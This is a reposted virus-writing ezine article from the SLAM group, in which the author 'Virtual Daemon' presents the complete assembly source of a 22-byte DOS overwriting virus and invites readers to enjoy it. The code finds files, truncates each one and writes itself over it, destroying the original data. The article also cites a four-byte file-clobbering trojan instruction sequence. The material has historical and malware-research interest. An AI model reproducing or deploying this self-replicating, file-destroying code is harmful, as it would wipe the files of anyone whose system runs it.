Copy Link
Add to Bookmark
Report

SLAM3.030: The Smallest asm virus #2 by Virtual Daemon [SLAM]

eZine's profile picture
Published in 
Slam
 · 26 Feb 2022

The Smallest #2
by Virtual Daemon


Here goes another tricky shit... ;)

Well, after my first attempt on writing the smallest virus (presented in SLAM #2), I've received a mail from a guy named Benjamin who gave me a little tip... Thx man! You're great! :)

So, here goes my second attempt: The Smalles #2! Only 22 bytes...Enjoy!

Oh yeah! Another thing... Someone said to me that there is a 4 bytes virus! Well, I think that can't be named a virus. In my opinion that is just the smallest trojan horse, not the smallest virus! Anyway, I think (I'm not sure yet!) that this is the code: "mov ah,3ch/int 21h". I can't think of anything else that we might call a trojan horse smaller or different then this.

P.S. I've heard some rumours that there already is a 22 bytes virus. Well, I DON'T HAVE IT! So, I'm making it myself... ;)

Virus Name: The Smallest #2
Virus Author: Virtual Daemon
Group: SLAM
Virus Size: 22 Bytes

.model tiny 
.code
org 100h
start:
filespec db '*.*',0 ;replaced by a SUB CH instruction

mov ah,4eh ;find first file
re:
mov dx,si ;dx=si=100h=filespec
int 21h
mov ah,3ch ;create a new file
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... ;)
mov ah,40h ;write the virus to file
jmp short re
end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT